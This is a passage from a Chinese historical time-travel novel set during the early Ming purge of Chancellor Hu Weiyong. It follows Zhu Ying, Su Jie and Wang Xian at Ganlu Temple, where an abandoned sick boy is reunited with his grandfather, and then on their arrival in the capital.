“你看,这几块是长牌,分为‘天’、‘地’、‘人’、‘梅花’、‘长三’和‘长二’。”那苏图排开骨牌,调皮的小童子却抓起一块块的骨牌,四平八稳地在桌上堆出一座桥。
“别玩了,那苏图,你去收拾东西。”乌莹抬手将骨牌拢作一堆,“小娃娃来吃药粥和点心。”
小童子欢呼着接过山药粥,含着勺子,圆圆的脸上漫开笑。
一点也不苦的药粥,却能将病治好,若是天底下的药都这样香甜就好了。
朱樱提步走向船头。
江风挟着凉意,在甲板上肆意呼啸。
风帆被鼓起,船飞快地穿过几处沙洲,焦山与象山分立两岸,巍峨料峭的影子投在甲板上,蜿蜒起伏。
王献正抬头仰望青翠山峦,搁在船舷上的手攥成了拳,骨节分明。
船入镇江,一道手谕传来,命他们即刻拢岸,于京口上岸,待应天府有新的旨意传来再进京。
王献很想立刻回应天府看看到底发生何等紧要事,可又不敢随意抛下皇命。
“王大人,你看。”朱樱走上前,遥遥指向象山背后一脉重叠山峦,那山上林木葱郁,楼阁重叠,烟气袅袅,“宋分南北后,曾有许多人在此北望中原。”
那便是北固山,山中有鲁肃的墓,有东吴古道,有甘露寺、祭江亭、北固楼,若山石有目,林木能言,或许还会述说更多人在此留下的喟叹。
“宋人北望中原,见的是残山剩水,今日北望得见太平盛世,乃幸事。”王献望向江北,长河滚滚,两岸船舶往来不息,扬州城繁华隐隐。
“这番话……”苏芥走来,笑道,“你留到应天府,那人面前再去说,他听了自然欢喜,且连你一起欢喜。”
王献顿时冷下脸,挑眉看向苏芥:“你就不能说两句好听的?一刻不奚落人,会死?”
他羁留京口,回不了应天府,心里已经够郁闷了,苏芥偏偏还要再来捅上一刀,委实不够意思。
“自然不会。”苏芥摇头,“只是你本就心情不佳,想来也不在意我说的这些话。”
王献重重一拳砸在船舷上,连缆绳都震了一下,他咬牙道:“你倒诚实得很。”
“你心甜,怎比得过他?”朱樱抿唇一笑,“他剖开来都是黑的。”
“……”王献无语,朱樱这虽是句好话,可听着总觉得不对味。
想着想着,就想起她那日向那小童子说,他是丑橘子的事,心里更烦——他倒更愿意自己像苏芥那样没心没肺。
船在北固山下的甘露渡拢岸。
一行五人并救下的小童子踏上栈桥,渡口并无一人迎接,但人群中不时闪过几人,远远与王献对望一眼,转身离去。
这是王献的部下前来接应。
船员们纷纷涌上甲板,使劲挥动手臂。
“苏大夫!多谢你留给我们的方子!”
“我这腿每逢雨天就酸痛得厉害,这一回竟全好了!”
“让开!让开!还有我!我这鼻子也好了,好久没闻到饭香呢!”
“回程的时候别忘了还搭我们的船!”
渡口被感激的欢呼声溢满,栈桥上
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其他人忍不住投来好奇的目光。
“不必客气,举手之劳而已。”苏芥回身,向船上人点头,谦和一笑,“船家,有缘再见。”
王献远远看一眼那恋恋不舍的船家,凑到苏芥身边,低声冷笑:“看不出来,你还会主动救不相干的人。”
苏芥拍拍衣袖,漫不经心地答道:“无聊,手痒。”
王献面色一僵,心道,朱樱说得对,他说不过苏芥,合该不说,免得自己生气。
小童子走在前面,仰头问朱樱:“颜姐姐,我们去哪里啊?”
朱樱抬头望见渡口旁山上一座重叠的楼阁,那就是临江而筑的北固楼。
“去甘露寺。”王献大步踏过栈桥,走上山间石阶。
“应天府究竟有何事?”乌莹面色凝重,提前拢岸,羁留镇江,所为何事?
朱樱扬眉:“朝中有人要倒了。”
左丞相胡惟庸。
她记得这个名字,那日御街一见,比她想象中的要好许多,看来不似什么奸佞——不过也是……
周公恐惧流言日,王莽谦恭未篡时。这种事说不清。
胡惟庸的罪状有一条叫作通元通倭,皇帝不想让他们这时候去应天府淌这一趟浑水,在情理之中。
山雾迷茫,石阶湿滑,雾气缠上阔大的绿叶,凝成水滴,不时滴落在石阶上的青苔中。
“阿颜,小心些。”苏芥走在朱樱身旁,撑起一柄伞,遮去水珠。
“知道了。”朱樱抬手抚上伞柄,与他相握。
甘露寺位于北固山后峰之顶,上山的石阶蜿蜒曲折,山道旁不时斜出几人,或沽茶水或卖些山中新鲜果子。
王献一路上冷着一张脸,那些生意人不敢接近。
那苏图回望山道,低声道:“王大人,有一人跟在我们身后许久了。”
是个皂衣老人,走起路来颤巍巍的,却一路从山脚跟到峰顶。
王献不语,那老人的确跟了他们一路,但看来并无恶意,因此他只当未见。不过如今都到甘露寺门外了,总该把这件事解决一下。
王献抬步向那老人走去,老人犹豫片刻,一转头走到朱樱身旁。
“……?”朱樱侧头看向他,柔和地问道,“老丈有事吗?”
“咳,老头子就是想问问……”老人摸摸略微秃顶的脑袋,瞟向那苏图身旁的小童子,问道,“那孩子,与几位郎君、娘子可是相识么?”
“那孩子是我们于望虞河口救下的。”苏芥接话,眉目冷诮,不复平日温和模样,“老丈是否想问,那孩子分明已是死了,为何,又活了?”
老人打个激灵,低下头唯唯道:“果然是望虞河口吗?”
小童子见到老人,大是高兴,蹬着小短腿跑近,拉住老人衣角,“阿爷!阿爷你在这里!”
“囝囝,你在这里啊。”老人摸摸小童子圆乎乎的脸蛋,不由抬手抹抹眼角,“阿爷对不起你。”
王献走到跟前,看看悲喜截然不同的祖孙两人,“这是何意?”
朱樱摇头,“也不是什么大事,进去再说吧。”
30. 第三十章 惊云
甘露寺西厢,月过中天,清辉皎然。
“那孩子并非单单溺水而已。”朱樱搁下茶盏,抬眸看着老人。
老人自称徐四,是个木匠,自琴川乘舟而上,预备到应天府,甚至更远一些,去扬州城讨生活。
小童子是他独孙,小名唤作曈曈。
“是啊……”老人佝偻着坐在石桌前,望着在院角与那苏图翻花绳的曈曈,神情苦涩,缓缓摇头,“这孩子命苦,落地就没了爹娘,过得半岁,我看他常喘不上气来,镇上大夫说这孩子娘胎里便没生好,心脉有些问题。”
苏芥皱眉,才要开口,朱樱摇头,和声道:“老丈,只怕并非心脉有问题,仅是胎本不足而已。”
“咳咳……”徐四咳嗽一声,摸了摸额头,“这、老头子大字不识几个,大夫说什么便是什么,我是不懂的。”
“阿颜说的不错,并非心阳不足。”苏芥微微挑眉,“你若真想知道,那病唤作‘哮’。孙守孝而祖不慈,方有此证。”
“如此。”王献一哂,他算是弄明白了。
那唤作曈曈的孩子先天有疾,时常犯病,做阿爷的要前往应天讨生活生怕病孩子拖累,恰曈曈于船上发病严重,徐四只当孩子这回气绝,抛“尸”江中。
难怪他在山中看见那孩子时震惊不已,只敢远远跟着,不敢近前相认——毕竟是气绝身亡且被抛入了江水的孩子,怎会还在人间呢?
“你别胡说,没有的东西,何必说出来让人难堪?”朱樱横了苏芥一眼,看着窘迫得恨不得钻进石桌底下的老人,抚慰道,“曈曈的病已治好了,你若仍想带着他,便待他好些,若不愿带着他,便遣人送他回姑苏,去虎丘山下的村中寻……”
徐四急急起身,双手垫在石桌上,躬身磕头如捣蒜,连声道:“不敢再烦几位郎君和娘子费心,老头儿那日一时鬼迷心窍,确实以为曈曈已死了,才将他抛入江中。这些日子常梦见他,早已悔得了不得。原想来甘露寺为他上炷香,不想菩萨显灵,竟让我再见到那孩子。”
他当时真是鬼使神差,见曈曈发作起来,一张小脸憋得青紫,神志模糊,只有进的气,没有出的气,觉得不如将曈曈抛入江中,既了却那可怜的孩子的痛苦,也让他这一把老骨头免去艰辛。
可是船驶出望虞河口,他就后悔了。
“不过人之常情。”王献抬手拍了拍徐四颤抖的肩,“行了,别在这里说什么废话,带那孩子回去吧。”
“多、多谢大人。”徐四感激涕零地直起身,瑟缩着行了一礼,向曈曈招手,“囝囝,来阿爷这里,莫与那小公子翻花绳,仔细明朝落雨。”
“哎,阿爷,我来了!”曈曈向那苏图道声别,飞起小腿往徐四奔来,“阿爷回去给我做木头鸟玩!”
“好,好,你要什么阿爷都给你做。”徐四抱起曈曈,“快向几位郎君和娘子道别。”
曈曈眨了眨眼,朗声道:“苏哥哥、颜姐姐再见,还有小草哥哥、蓝眼睛的姐姐哥哥再见!”
王献的脸垮了下来。
徐四讪讪赔笑,声音微颤,“那我们爷孙先告辞了。”
他得个乖乖啊!这黑衣服少言寡语的青年人怎么看都不简单,他方才试探着称他一句“大人”他也没有推辞,可见确确有官职在身,他这小祖宗怎给人家起了这么个外号啊?!
“苏芥,那孩子到底什么病?你早已知道了?”王献捏着石桌一角。
“方才不是说过了吗?不过是哮证,救他时顺手治了,阿颜又给他养了这几月,往后珍重些不至于再犯。”苏芥满不在乎,将茶盏一个一个收回茶盘上,“你也不必问为何,左不过是无聊又手痒而已。”
行舟数月,每日吹风看水,真是无聊到生青苔。
王献懒得与他再说,转向朱樱:“你也知道?”
朱樱点头,见他面色不好,先声夺人地反问道:“不过是一件小事,顺手为之,何必说得众人皆知?”
“我要说的却不是这个。”王献重重放下茶盏,正色道,“皇上设有养济院、漏泽园与惠民药局,地方也有收留照管孤寡之令,私自遗弃病儿可是要按律令责罚的。退一步说,便是真死了,也不该随处抛尸。”
养济院收鳏寡孤独,漏泽园葬无主尸体,药局为贫民提供医药。
不管出于什么理由,就算走到山穷水尽,也不该做出溺死病儿的事来。
王献又道:“苏芥,你身为太医院药园师,没有不清楚的道理,却为他隐瞒?”
“那又如何,那老爷子一把年纪,他能知道吗?”朱樱放下手中茶筅,抬头看向王献,“王大人,人是你放走的,须不是我们。你身为仪鸾司副使,知而故犯,还有脸在这里教训人么?”
王献气得差点砸了手中茶盏。
这一对是什么人啊?!一个说话阴阳怪气,时不时刺你一下,一个更好,平日温和懂事,这时候冷不丁搬出大道理教训你一顿,竟一点漏洞都没有。
能不能给他这堂堂仪鸾司副使留一点面子啊?他的手下还没走远呢!
“不过,我也知道,王大人心好,虽放了徐四老爷子走,定会派人偷偷盯着。”朱樱展眉,含笑道,“若有不当之处,还有律令在那里,现在且不急着争这些大道理。”
王献舒口气,大步跨出院门,心道,变脸比翻书还快,算你狠。
徐四带着曈曈在甘露寺外住下,闲时到城中接些木匠活计。
曈曈养好了身子,也跟着阿爷学起手艺,常将初学的作品送到甘露寺中,譬如拙劣的木头鸟,音孔歪斜的木笛子,转不起来的小风车等等。
朱樱辟出一个箱子,给他尽数收着,那苏图觉得有趣,要了去。
西风渐紧,王献每每望向应天府方向,都觉乌云密布。可风雨愈近,往来的信件和文书反而少得可怜。
除夕后连下了数日雪粒,天气放晴,朱樱展开小篾帘,将秋天收来的桂花铺在廊下晾晒。
铺好后,不由倚在廊中,怔怔西望。
她素来不愿去趟那些浑水,这一回恰巧躲过了,下一回还会这般幸运吗?
“阿颜,想什么呢?”苏芥走进廊下,俯身翻动桂花,“这几
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日总魂不守舍的,在想什么?”
“都过年了,不知应天府如何……?”朱樱低眉,诚然她知道,但是那些事太可怕了,不敢细想。
“与我们无关,不要去想。”苏芥抬手捂住她眼睛,从身后揽着她的腰,“何况,你分明知道,想又有何益?”
朱樱抿唇,确实,那些既定的会发生的事,以她之力是不可能改变的。
“宣清……抱歉,我没能记得更多。”朱樱摇头,如果能记得更多,说不定就能找到更好的法子逃开了,而不必如此轻身涉险。
“如果能预知世事就能趋利避害,那我便去钦天监学算命。”苏芥紧紧揽着她,轻声道。
“你可真会安慰人。”朱樱一笑,倚在他怀里,“钦天监可不会收你。”
廊中的细碎桂花在阳光下腾起好闻的甜香味,朔风在庭院里呼啸而过,不落的樟树飒飒作响。
“并不是安慰你。”苏芥抚着她鬓边碎发,沉声道,“为什么要学医?医术不可能起死回生,只是希望在那些本不可挽回的事发生之后,挽回一二。”
他幼时亲眼见母亲为人所害,痛苦万分,却没有办法救她,只能选择杀了她。
朱樱点头,“就像曈曈那样,伸手挽回一二,就一点也不一样了。”
人生悲喜,不过在一念翻转之间。
“颜姐姐!”曈曈一身新袄,跑进院子。
徐四佝偻着背走进来,背后拖一个大麻袋,往台阶下一放,道:“我看几位郎君和娘子竟寓居在此过年,也无亲朋,好不寂寞!大伙儿都是姑苏人,因此我弄了些过年吃的小玩意儿来,给你们解个闷。”
“多谢您。”朱樱一笑,抬眼瞥向院外。
甘露寺除了除夕那夜,一向安静,今日外面却脚步声错杂。
徐四挠挠头,“哎,我们进来时寺里来了好些穿官服的年轻官爷,似乎也往西边院子来了。”
朱樱和苏芥对望一眼,多半是仪鸾司的人来寻王献。
王献住的院落里站满了人,有着官服的,也有便装的,全都一脸忧虑地望着王献。
“大人,我们该怎么办?”年轻些的沉不住气,焦灼的目光盯着王献捏在手中朱漆封的信件,“连毛大人都……!”
王献抬头看他一眼,面上虽神情不变,心中却也禁不住暗问,怎么会、怎么会?!
纵然谋反是大案,纵然皇帝确实有心借机铲除更多人,为何这一把火竟顺势烧到他们身上?事情本不该如此。
出神之间,苏芥和朱樱从容走进院落。
“高昌。”王献当先迎下台阶,走至二人面前,低声问,“你们过来做什么?”
其余人也认得朱樱,纷纷低头,“参见殿下。”
“王大人不想看到我们来么?”朱樱轻声一笑。
王献不语,确实,他心中颇有疑虑,自己尚且不能解答,如何安抚部下?
有人不甘心地追问道:“大人,我们究竟……”
“各自归职。”王献回头将院内的人一一看过,点了点头,“静待皇命。”
31. 第三十一章 风雷
简短的信笺在书案上铺开,一角压上一方黄铜镇纸,破碎的朱红蜡封散落一旁。
王献已盯着那短短二十来个字看了足足半个时辰,若目光也有热度,那一页薄纸定早被烫成灰烬。
为什么?这是为什么?他想不明白。
不由抬头望向背立在窗边的朱樱,她那般聪慧,应该能明白皇帝此举何意吧?
可是,朱樱始终一言不发,望着隔扇上栩栩如生的百鸟雕花,不知在想何事。
“以谋反罪诛杀胡相并其党羽,罢黜丞相之位,后世不得再立。”苏芥扫过短笺上的字迹,抬眼看着王献,“你不知那人此举何意?”
王献不吭声,他现在心情差得很,可不想再被苏芥奚落一番。
苏芥拈起短笺向烛焰上燃尽,纸烬缓缓飘落,伴着他似笑非笑的声音在屋内荡开,“小草啊小草,有了你们,还要宰辅作甚?”
“可……连毛大人都……”王献垂下手,紧握起来。
毛骧的衷心是不必怀疑的,可是现在却因皇帝轻轻巧巧的一语,指为胡党一并处死。
自然,为了搜集更多切实证据,不仅毛骧、甚至他都与胡惟庸有过密谈——谁也不可能当面拒绝位极人臣者的示好与拉拢,这样的虚与委蛇显示是皇帝默许的。
“大正月里,你知道应天府有多少人或处死或下狱?”苏芥一笑,淡淡道,“是不是你自己在这里过得惬意,便想不起来你们往日手段如何?”
王献猛抬起头,他自然知道,短短数十日,处死、连坐、下狱者已达千余人。
在之后数月,甚至数年、数十年间,这个数字只会越来越多,直到将半个朝堂都清洗一遍,而且这件事,多半要着落在他身上去完成。
苏芥推开紧闭的隔扇,窗外木兰挺拔,投下暗蓝色的阴影。
“北固山中却是忠魂流连,你不如问问他们眼中,朝中之事如何?”
九州既同,金瓯圆满,却换来如斯残酷的局面。恨不恨?憾不憾?是否不平?是否愤懑?
那数千人中不乏无辜受累者,冤魂浩荡,众口悠悠,如何平息?
王献垂下头,长叹闷在胸中。
是了,他明白了,若不推出一人去,如何熄灭石头城中敢怒不敢言的火?
“这是早该料到的事。”朱樱回过身,眉头微敛,神色平淡,“王大人怎这么多感叹,当得起你们令人闻风丧胆的名声么?”
虽王献没说,可全写在脸上了,朱樱心中暗叹,真是让人不知可笑还是可惜。
“……从前并无此例,一时震惊,倒让殿下见笑了。”王献冷着脸起身,移过火盆,将这些日子往来的信件与文书一样一样投入火中。
炭火猩红,火舌舔着那些极薄的纸,瞬息间成了黑色碎末。
他本就该当做什么都没有发生过。
那些信、那些话、甚至那些事、那些人,都统统不曾存在过。只有应天府中的九五之尊,是他要效忠的,只有未来宽广的路,是他要踏上的。
什么正,什么邪,什么善,什么恶,都不重要。
于社稷有益的,便是对的,便是他要做的,哪怕有朝一日落得与毛骧一般下场,他也……
认了。
“阿颜。”踏出院落,苏芥抬手摸了摸朱樱面颊,“我……”
话未说完,被朱樱轻轻拂开手,听她嗔道:“冷手不要摸脸,会生冻疮的!”
“真有精神。”苏芥一笑,拍拍她肩头厚实的斗篷,“我去应天府一趟,不要告诉小草,听话。”
“何时回来?”朱樱眉尖微蹙,不过是强打精神罢了,发生了这种事,心里总觉闷闷的,难受。
“明晚。”苏芥抬头望向才从西边江面上爬上天幕的圆月,“别担心。”
“知道了,月边有晕,记得带上伞。”朱樱袖起手,转身而去。
她不喜欢下雨的夜晚,那样湿,那样冷,夜色里漫天漫地的雨仿佛流不尽的血,冲洗着人的肌肤,冷到了骨头里面。
直到她孤独的背影消失在月门后,苏芥才抬步走下石阶,喃喃道:“阿颜,别怕。”
她开心时不是真的开心,不怕时也是假的不怕。
总那么端着,不累么?
其实不必那样的,就算她仍像从前一样任性,他也不会将她视作累赘。
王献从镇江府回到甘露寺时,胧月
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已低挂在梢头,边缘微微泛出淡红的颜色,夜空中长云密布,在圆月背后衬出圈圈五彩的光晕。
“王大人回来了。”朱樱站在厢房外,染着血色的月衬在她身后,猩红色的斗篷披在她肩上,与院角那株红梅一般颜色。
王献恍然想起那夜在周府,她提着琉璃灯,手中匕首兀自滴血,她却没事人一般,还有那日她救治溺水的曈曈。
都从容得不似才十六七岁的小娘子。
王献驻足,随口问道:“寒夜如此,你怎在外间?”
衣衫整齐,发髻未拆,只怕还未打算歇下吧?
“睡不着。”朱樱一笑,望向红梅,目光柔和,“寺中这株骨里红开得很好,因而出来看看。”
血一般的颜色,饶是夜色沉沉,依然能将人的眼灼痛。
王献紧紧锁着那几点猩红,“苏芥不在?”
“方才有人急病,来寺中求医,他去了。”朱樱淡淡道,望他一笑,“夜深且凉,我不便去。”
撒谎之类的事,她已做得如斯熟练,这话说出来,连自己都差点信了。
王献没多想,短短一叹,“朝中此事已毕,不日将有旨意到来,你与长安,都预备好吧。”
内忧解决,云南的外患便该提上日程了。那苏图和乌莹要用来解决关外之事,那么云南那里,就要落在朱樱和她早已到达云南的父母肩上了。
这柔弱得似乎一阵西风就能吹倒的女郎,真能担起这般危险的事?当然,有苏芥帮她,倒也不难吧?
王献心中滚过千般念头,面上神情未曾改变丝毫。
“卑职告辞。”王献向自己的院落走去,走上半级台阶,听到身后一声极轻的叹息,脚步不由一顿。
“王大人此去应天,又要擢升何职?”朱樱望着寒风中绽放的红梅花,似是随口问起,“毛骧死了,你高兴么?”
“毛大人一手提携我至今日,我不至于如此忘恩。”王献快步踏进院落。
一阵西风呼啸而过,天幕中浓云卷集,遮去月色。
细碎的雪粒随着风“簌簌”跌落。
朱樱望着半掩的院门,良久眨了眨眼,抬手掸去肩头一层薄雪。
32. 第三十二章 夜雪
长夜雪落,苏芥推门进屋。
灯花零零碎碎落了满桌,朱樱伏在桌边,掌心下压一页薄纸,毛笔搁在砚旁,墨汁已结成坚冰。
她掌心下的信写到一半,最后几个字迹模糊。
“阿颜。”苏芥握住她的手,指尖一片凉,冰雪一般,似一触碰就要融化。
“……?”朱樱手指略动了动,昏沉抬头,“你回来了?是……什么时候了?”
“四更了,雪落得正大。”苏芥解下沾满雪粒的斗篷,俯身抱起朱樱,贴在她耳边道,“不是说过,不必等我吗?”
“到底还是不放心。”朱樱懒懒睁开眼,睡意朦胧,将头枕在苏芥肩上,低声道,“茶窠里还有热茶,喝一口暖暖吧。”
苏芥抬手斟了半盏热茶,回头便见她拿起桌上满是冰碴子的冷茶,灌了半口。
“阿颜。”苏芥从她手中取下冰凉的茶盏。
“……做什么?”朱樱抬起惺忪的眼,摇曳的烛火映在她琥珀色的眼眸里,闪烁如星。
带着碎冰粒的茶水滑过咽喉,又苦又冷,胃脘不由一阵痉挛,将昏沉的思绪惊醒。
“你身子弱,做什么喝冷茶?”苏芥解下她肩头的厚斗篷,斗篷滑落在地,猩红一滩,仿佛血迹。
背后寒气陡然袭来,朱樱瑟缩一下,紧搂住苏芥,企图从他身上汲取暖意,“好冷。外面雪积到何处了?”
苏芥不动声色地将写满字迹的纸探至即将熄灭的烛焰上,道:“已至阶下了。”
身后火光陡亮,朱樱讶然回头,扭身去夺那纸,“等等。”
苏芥放开手,闪着火星的纸飘落在砖石上,明灭了好一会儿才熄灭。
“你……”朱樱皱眉,侧身想去捡起残缺的纸,脚下略一踉跄。
苏芥顺势将她按在桌上,轻声道:“你累了,早些睡吧,明日再写也是一样。”
面前的人陡然压下来,朱樱抬头望着他,皱了眉,“你明知道,这不一样。”
她想传信到姑苏去,告知周云钊近日应小心行事——自然,这并不是为了感念周云钊的什么恩义,只是想保全周锦蘅罢了。
应天府正大兴刑狱,杨氏和她那女儿们半年前还告过一状,说自家藏着蒙古人的公主,难保不被翻旧账牵连。
这种时候,早一日晚一日都是生死之别。
“是么?”苏芥贴在她耳边,“周家的人与你何干?难道你……又不忍心了,想救他们一救?”
“我怎有闲工夫管这些?”朱樱闭上眼,耳边碎发被他的气息拂过,一丝暖一丝痒,好难捱,声音里不由带了些叹息,“只是不想阿蘅她……”
她那么快乐,那么灿烂,应当无忧无虑地生活,不该被那些事情打扰。
“算了,不逗你,我去方才应天府,便是为了处理此事。周云钊与梁王有联络,这时若出事,只会打草惊蛇。”苏芥拂开她面颊上的发丝,低头蹭了蹭,笑一笑,静默片刻,似乎要把方才的事都忘了,声音温和,极低声,“阿颜,不如我们逃吧。”
逃开这些事,也向周锦蘅那样看不见这世间的痛苦和烦恼,不好么?
“……不可能的。”朱樱摇头,“我们没有那样的好命,没有人可以帮我们。”
只有依靠彼此,旁人终是有心无力。
“是啊,不可能。”苏芥攥住她柔弱的肩。
他们想过要逃,也那样去努力了,可是得来了更可怕的结局,所以到如今,连逃也不敢了。
只能勇敢地面对前路,行于凶险,才会忘记绝望。
朱樱才舒一口气,觉到唇上陡然被一咬,身子不由一僵。
昏暗的烛火下,苏芥灰色的眼眸是她所能看见的所有东西,幽深而冰冷,似山涧的水,昏暗无波。
“别这样……”朱樱垂在身侧的手攥起,想要推开他,还未来得及抬起又慢慢放开。
“听话,别去管多余的事,我们耗不起。”苏芥抱起她,“你不想那小姑娘落得与你一般么?”
“嗯……”朱樱含糊应下,困意渐浓,实在撑不住,声音如同梦呓,全无逻辑,“阿蘅她……像是看到了那时候的我……”
渐渐模糊的意识里都是晒干的桂花的香气,尚有一点冰雪清冷的气息,交织成梦里一个冷清的江南故园。
“是啊,很让人怀念。”苏芥抵着她的额角,久久望着她睡熟的模样,“可是阿颜,那时的你是我得不到的东西……”
那样的她太过灿烂夺目,他甚至不敢接近她,生怕让她的光芒中生出一丝阴霾。
可惜,那些光彩终于还是跌碎了。
西风渐息,夜雪堆积在两级台阶下,雪中隐隐露出几瓣被风雪吹落的梅花。
王献起了一早,走出院门,遇上那苏图拿着一柄竹扫帚,
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与寺中僧众一道扫雪。
“王大人,你早。”那苏图抬头一笑,目光比满地积雪还明澈几分。
王献点头,不由望向最西侧的院落。
门前积雪已被扫去,台阶上还残留着被积雪覆盖了小半的浅浅足迹。
“他们还未起。”那苏图将竹扫帚倚在墙边,抹一把额角的汗,从衣襟里摸出来一封信件,“倒忘了这事,今日平旦时分,从应天府来了一封信,说要送到苏药师手中。”
“信?”王献皱眉,接了过来。
“大人。”身旁一声呼唤打搅了他的思绪。
王献侧过头,见是仪鸾司的人,拉下脸,问道:“怎了?”
“京中密信来了。”那人递过一颗圆溜溜、如鹌鹑蛋大小的白色蜡丸。
王献捏在手中,沉声道:“去吧,先前吩咐过的事一件都不要落下。”
“可……大人……”年轻的部下尤不解,还带着一点忧虑和犹疑。
“京中发生何事,与我们无关,做好我们该做的便是。”王献又道,“去吧。”
那苏图将整个西厢扫净,抖去扫帚上沾染的雪粒,放在阳光下晾晒,“王大人,总忘了问你,我们何时进入应天府?”
少年人神色自若,清澈的眼中不见忧虑,甚至还带一丝期盼。
王献忍不住想逗他一逗:“应天府可不是那么容易进的,进了可就不好出了。”
“我会努力的。”那苏图笑起来,“读书骑射什么的,我都会努力。”
“愿你莫忘记此时的决心。”王献点头,望向廊下,见乌莹正抬手将一轴画卷挂在楹柱上。
系带被抽开,画卷如瀑流般倾泻而下,满卷幽绿莲叶,荷叶下探出缤纷的锦鲤戏水接喋。
乌莹轻轻拍去画卷上的尘埃,让画在阳光下舒展开,末了向那苏图招了招手。
王献不语,他记得那幅画,是周家那古怪的女孩画的。
身后门一响,苏芥走出来,一眼瞥到王献手中蜡丸,“京中来信了。”
“亦有你的信。”王献抬手,将信飞到苏芥手中。
苏芥当着他的面拆开,并不回避,粗粗看过一遍,平淡地道:“是阿陈的信。三月上甲日,院中要祭祀先医,因此阿陈催我回应天。”
王献看他半刻,没看出什么名堂来,点头,“京中来了消息,多半是要进应天府了。”
33. 第三十三章 苏老神医
二月的尾声,羁留京口数月的几人终于踏上了应天府的街道。
古老的石头城中绿树绵绵,街道洁净不染,行人往来不绝,并无半点惊慌的气氛。
街道用平整的石块铺成,开阔明朗,没有姑苏城中青石板的凹凸起伏,少一点幽静,多几分浩大。
王献换上官服,策马走在最前,身后两列侍卫,一色青色官服,护送车架,在街道上缓缓行进。
行人们向旁避开,似乎已是自然而然的事。然侧头的一瞥之间,王献觉得那些目光掺着更多的畏惧与怨毒了。
车马在驿馆门外停下,王献下马,打起车帘。
朱樱与乌莹共乘一车,苏芥已先行前去太医院,那苏图则一进城门就被人请走了。
“卑职去请仪仗,送两位殿下进宫面圣,少待。”虽不常安排这样的事,王献仍对这些流程很熟悉。
“多谢。”乌莹点头。
朱樱探身,见王献走远,回头向乌莹一笑,“乌莹姐姐,我就不进宫了。”
说罢,她跳下车辕,于随从侍卫们的震惊中,牵过一匹马,飞驰而去。
王献带了一众人回来时,看着侍卫们,面色阴沉。
他才走出一半,便听属下来报,高昌公主纵马离去,又问一回,说是在太医院外寻到了那匹马。
不必说,人自然在太医院中。
王献觉得头很大。
不过皇帝近来懒于管这些事,且朱樱还有用处,自然待她宽些,不比其他儿女,皇帝才不会因这样的小事苛责她。
王献转个念头,不再操这个心,看向乌莹,“长安公主,皇上宣你入宫,请。”
乌莹颔首,踏上平整的街道,繁复的衣裾如重叠的花瓣,头上金凤口中衔的珠串相碰,琳琅作响。
行至宫门内,宫娥换去侍从,铺开一路锦绣,长路杳杳,寂静无声。
太医院忙碌异常。
三月甲日,并重阳之日,是太医院祭祀先医的日子,算来便是两日后。
朱樱在太医院门前下马时,王献的手下已追了上来。
“我进去逛一圈就出来。”朱樱放脱马缰,向他们一笑,“不用跟来。”
苏陈抱着一盆水仙从御街那头轻快地走来,一见朱樱,笑得眼睛眯成一条线,“颜姐姐!你来了,你昨日遣人送来的水仙开得可好了。”
“我看看。”朱樱翻过一片狭叶,轻拈上灯盏般的花朵,笑道,“白篱果然将那些花儿养得极好。”
白篱挑拣了数十盆开得最好的水仙,派遣花匠几人千里迢迢从姑苏送来应天。昨日花匠们才上渡口,恰好遇上她与乌莹歇在城外驿馆中,她便托王献替她拿去送人了。
白篱此举,很用心,也很尽心了。
苏陈偷偷瞄两眼站在阶下的仪鸾司官员,问道:“姐姐是来找师兄的?他在景惠殿中帮着王院使……”
“不是,我来寻你师父。”朱樱跨过门槛。
“啊……?”苏陈一怔,下意识道,“你怎知道师父在……不是,不是,那个……”
朱樱抿唇,忍俊不禁,“你撒不来谎,别编了,走吧。”
苏陈扁了扁嘴,吐舌头扮个鬼脸,“好嘛,不过颜姐姐可别告诉师兄是我带你去的。”
“我不说他也知道。”朱樱故意逗他。
“哎……”苏陈无奈,末了涎起脸,“总之师兄也奈何不了我什么,顶多怂恿师父让我多抄百八十个方子。”
“罚你抄是为让你背得熟一些。”朱樱补上一刀,“我听说你总不愿好好背方子记药性,往后怎么独当一面?”
苏陈吸了吸鼻子,“这不公平,昨儿师兄回来,就同师父一起说了我一顿,你们总说往后往后,后头的事还没来呢,急什么?”
“阿陈,你怎来了,再过两日便要祭祀先医,你不该在景惠殿中帮忙布置么?”苍老的声音从草木葱茏的园子内传来,气鼓鼓的,很有精神,“还不快去?!让你师兄一人在那里忙,仔细我明日罚你!”
“我自己进去就行了,你快去景惠殿吧,不然我让你师父罚你去尝药味。”朱樱促狭一笑,见苏陈放下水仙,逃命似的跑出
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去,绣鞋轻点,跳过园子的月洞门。
白发苍苍的老人背向院门,舒适地倚在皂角树下的躺椅上,身上盖一条厚毡毯,脸上盖一本蓝皮书,身前红泥火炉上“咕嘟咕嘟”煮着茶。
这老人便是苏老神医,她在第一回穿越时认识了他,那后来时间倒置,她回到现代,苏老神医在那里寻到了幼时的她,亲自教养。
她才知道那一向和蔼的老医生名叫苏贺,在穿越时不过三十余,遇上她时,已在举目无亲的奇怪时空独自度过了近七十年时光,而且,他根本就不是个医生,而是一名研究员。
这个每每靠着花招欺瞒世人,忽悠来一个“神医”名头的老骗子——朱樱对他的评价一向如此。
朱樱放轻脚步走近,猛地抽去书,低头笑道:“老师,我来了。”
老人直起身,一把从她手里抢回书,连连拍着心口道:“死丫头,来了也不吱声,想扮鬼吓死我啊?”
“说得好轻巧,您让宣清来寻我,不也没预先知会我一声。把我的事全搅乱了,我还没找您算账呢。”朱樱在皂角树旁的花坛上掸了掸灰,坐下来,抬眼道,“先前说好的,可不是这样。我就知道,您偏心他,枉我在那边给您做了许多年饭呢。”
“嘿嘿,我什么时候偏心了?”老人摸着花白的胡须,嬉皮笑脸地道,“好丫头,我从来当你闺女一般疼,这不是怕你累着,才让那孩子来寻你吗?若这回不成,老师还赖着你做饭呢,快别生气了。许久没吃到阿颜做的点心,我正馋着呢。”
朱樱别开脸,赌气道:“想都别想。”
苏芥踏进药园,便见朱樱抄着手坐在皂角树下,苏老神医围在她身边,百般哄劝。
苏老神医一回头,见了救星一般跳起来,连连招手:“哎,宣清啊,来来来,快来哄哄她,小姑娘就是麻烦。”
“分明是你为老不尊。”朱樱横了他一眼。
“哎,这话我就不爱听了。”苏老神医挺起身板,拍拍胸口,“阿颜,我哪儿老了?你别看我活了这许久,这芯子可是一颗从来不老的心。”
34. 第三十四章 拈香会
朱樱在驿馆暂时住下来。
三月甲日一清早,王献陪着朱樱前往太医院。
朝霞铺在御街上空,绚丽如绮。
“王大人。”朱樱在一处停下,望着一旁枯萎的蜀葵,“半年之前,我们便是在这里遇上左丞的。”
